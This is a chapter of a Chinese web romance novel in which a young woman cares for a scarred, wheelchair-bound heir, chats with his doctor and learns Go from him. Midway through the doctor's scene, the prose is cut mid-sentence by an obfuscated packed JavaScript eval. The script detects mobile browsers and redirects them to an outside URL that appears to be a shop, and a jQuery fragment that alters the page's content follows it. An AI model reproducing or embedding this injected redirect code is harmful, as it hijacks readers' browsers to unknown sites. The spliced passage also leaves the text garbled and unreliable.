14. 神明

作品:《神明溺我

    暴雨天过去,山路打通。


    景橙将西瓜开成两半,瓜皮青绿,朱红色的果肉一点点沁出汁水,还是无籽。


    没什么比开出无籽西瓜更让人开心的事了。


    景橙美滋滋地把一半西瓜放在冰箱里,一半西瓜榨成汁。


    盛好两个杯子的西瓜汁,景橙送到陆为舟陆为舟房间。


    还没敲门,看见陆为舟从另一个房间“走”出来。


    二楼的房间太多,没有一一进过,这些都是陆为舟的私人地盘,会有专人来打扫,景橙从没进去过。


    景橙端着清爽的红色玻璃杯,问他:“你喝西瓜汁吗?”


    陆为舟没说话。


    他本来就不爱说话,一说话嘴里跟喷针一样。


    还不如不说。


    陆为舟转着轮椅进了自己的房间,门口大敞着。


    没拒绝。


    那就是要喝。


    景橙进了房间,把西瓜汁放在桌子上,陆为舟忽然脱下上衣。


    景橙吓了一跳,捂住眼睛不敢看:“你干嘛?!”


    又忍不住透过指缝,窥到陆为舟布满伤痕的上半身。


    那些伤痕深深浅浅,印在他冷白的肌肤上,有的疤痕已经掉了,有的正在脱落,说实在的,不太好看。


    陆为舟抿抿唇,莫名想起几天前看到她捧着手机看视频,屏幕上正是一些不知廉耻的男人半露着腹肌作勾引姿态,她如痴如醉地看着,好像下一秒就要流出口水。


    又联想到,之前她脱掉自己的上衣,那么自然,用看猪肉的眼神看着他、触碰他。


    陆为舟苍白的脸显得透明,几秒后重新穿上衣服。


    “不想看就滚出去。”


    景橙见他穿上衣服,放下手,鼓了鼓腮帮:“是你自己脱的,哪有人在异性面前随便脱衣服的?我们又不是夫妻情侣。”


    陆为舟显得有些不耐地说:“你不是都已经看过了吗?”


    景橙语塞。


    她不仅看过,还摸过。


    “这情况能一样吗?”


    思路不同的人聊天会南辕北辙。


    景橙不欲与他再多说,拿走自己的西瓜汁下楼了。


    走出陆为舟房间那一刻,景橙发觉自己是有点脸红缺氧的。


    明明陆为舟不是在撩她。


    看来她这个牡丹真要谈点恋爱了。


    -


    真的很丑吗?


    陆为舟看着镜子里的自己,难以自控地思考。


    他很少做这样没有意义的事情,并不在乎自己身上的疤痕有多难看。


    看着看着,镜子里的身体扭曲起来,变成父亲和另一个女人交织在一起,白花花的充满肮脏欲念的身体。


    陆为舟随手拿起洗浴用品,砸碎了浴室里的镜子。


    哗啦啦的碎片像是下雪一样落在地上,每一个碎片都倒映着他的脸。


    第二天,景橙正在做饭,来给别墅做扫除的人员像个八爪鱼一样抬出一大堆东西,景橙没忍住好奇问:“这是什么。”


    清扫人员张阿姨看了看楼上,无奈压低声音回复:“不知道楼上那位祖宗又怎么了,浴室的镜子碎了一地,打扫的时候吓我一大跳,之前他还把一楼所有的装修都砸了个遍,你看一楼和二楼的装修风格,是不是不一样?”


    的确不一样,二楼偏中式,而一楼则是有些俗气的欧式风。


    她更喜欢二楼的装修。


    -


    景橙正发愁留给温甲的蔬菜怕是要不新鲜了,温甲就来了。


    “真是说曹操曹操就到。”景橙丢下和陆为舟的围棋棋局,起身给温甲开门。看到是他,瞬间眉开眼笑。


    温甲温和地笑:“前几天医院太忙了,天气也不好,当了个拦路虎。”


    肉肉还认识温甲,围在温甲的腿边,蹭他的裤脚,蹭得温甲的西装裤上全是猫毛,他无奈一笑,弯下腰抱起肉肉。


    景橙感叹:“除了我,肉肉最待见的人就是你了。”


    “是吗?”温甲尾调上扬,抬眼看坐在轮椅上的少年。


    陆为舟和温甲对视一眼,转身上了电梯。


    温甲也不在意某人的不欢迎,放下肉肉,把包里的东西递给景橙:“快要入秋了,给你们备了点防感冒的药,还有一些肉肉的罐头。我先上楼给陆少检查一下身体,等下再来和肉肉玩。”


    “好,肉肉跟温太医暂时说再见~”景橙俏皮地举起肉肉的小爪子挥了挥。


    温甲听出她在开自己玩笑,回了一句:“我可不会做滴血认亲这件事。”


    景·甄嬛传骨灰级观众·橙:“哈哈哈哈——”


    也许是景橙的笑声太有穿透力,温甲在陆为舟的房间门口都听见了貌似她的回声。


    温甲抬手敲了敲门,听见一声“进”。


    陆为舟正坐在书桌旁,在他进来时合上了电脑,桌子上还摊着些水果糖,五颜六色,糖纸在日光下折射着光辉。


    他的房间似乎很少见这一类的东西。


    “好像胖了点。”温甲笑着说。


    陆为舟主动“走”到床前,两手撑着轮椅,把自己抬到床上。


    温甲挑挑眉,力气好像也大了点。


    果然人是铁饭是纲。


    温甲拿出听诊器,隔着一层衣服放在陆为舟的胸口,安静听了一会儿。


    “心跳有点乱,不过跳得更有劲了。”


    陆为舟别过脸,不去看温甲的正脸。


    他看过景橙喜欢的那个学长的照片,和温甲的长相是一个类型。


    温甲又给陆为舟测了血压和血糖,得出结论:“血压血糖没之前低了,她把你照顾得很好。”


    陆为舟半靠在床上,还是有种病态的美感:“温医生,祛疤药还有吗?”


    温甲收拾工具的手顿了下:“之前你不是不爱用吗?”


    陆为舟受伤的次数很多,他自己和他妈下手都狠,每次温甲都会给陆为舟留下祛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165444|196690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疤药,叮嘱他要用,但每次祛疤药都是用得最慢的那个。


    “我再给你拿点。”温甲还补充,“你要是现在不想留疤了,可以借助一下科学技术,现在激光祛疤很成熟。”


    陆为舟没说话,温甲给他做完别的检查项目,退出了房间,下楼陪肉肉玩了会儿。


    送别时,景橙拿出提前准备好的包装袋,让温甲拿着:“温医生你拿着,这些都是我随便种的有机蔬菜,种类不多,不值什么钱,算我和肉肉的一点心意。”


    温甲失笑,有些惊讶:“原来你说得有机蔬菜是真的。你一个小姑娘竟然还会种蔬菜,真厉害。”


    景橙被夸得飘飘然:“嘿嘿,小时候在孤儿院住过一段时间,那时候院长经常带着我们开荒地,耳濡目染。”


    “你是孤儿?”温甲对眼前的女孩更惊讶了。


    “一开始是,后来不是了,后来我妈妈又把我找回去了。”


    温甲眼含歉意:“对不起,你不用多说了。”


    童年这些隐秘的伤口,即便被时间治愈,再提起还是会泛起痒意。


    景橙不在意地摆摆手,坦荡地笑:“哎呀没事,都是过去的事了。”


    关上门,景橙背过身,笑意渐渐散去。


    桌子上还摆着残留的棋局。


    围棋是她无意间在一楼的一处小房间里发现的,还有一张陆为舟拿下青少年围棋大赛全国第一的奖状和奖杯。


    还有一张照片,小小少年拿着奖杯站在台上,笑起来唇抿起,眼睛里亮晶晶好像有星星。


    于是景橙产生了想下围棋的想法。


    她故意拿着围棋在陆为舟面前晃荡,嘴里不停念叨着想学,但是没人教我。


    想学,但是没人教我。


    想学,但是没人教我。


    ……


    陆为舟终于烦了,拿过被她摆得乱七八糟的围棋,一通操作猛如虎。


    果然,天才的眼睛里是看不得人犯蠢的。


    她跑到楼上,敲响陆为舟的房门,大喊:“喂喂喂,在吗?棋还没下完呢,你要下吗?”


    没声音。


    代表着被拒绝。


    景橙并没有气馁,回到棋桌上,打算一个人下完这局棋。


    白子吃吃吃,黑子吃吃吃。


    一个人下棋简直就是左右脑互博。


    景橙感觉自己眼都花了,该白子还是黑子来着。


    叮咚——


    电梯铃响了。


    景橙太专注以至于没听见。


    一根纤细冷白的手指点了点一个交叉点,“下这里。”


    景橙秒抬头,看见陆为舟那张轮廓分明的脸:“你不是不下了?”


    陆为舟冷着脸执起白子,讽刺她:“被你蠢哭了。”


    景橙摸了摸鼻尖,不可否认她确实学得很慢。


    “别以为你是全国冠军,就能看不起人。”


    陆为舟冷哼一声。


    “哼哼。”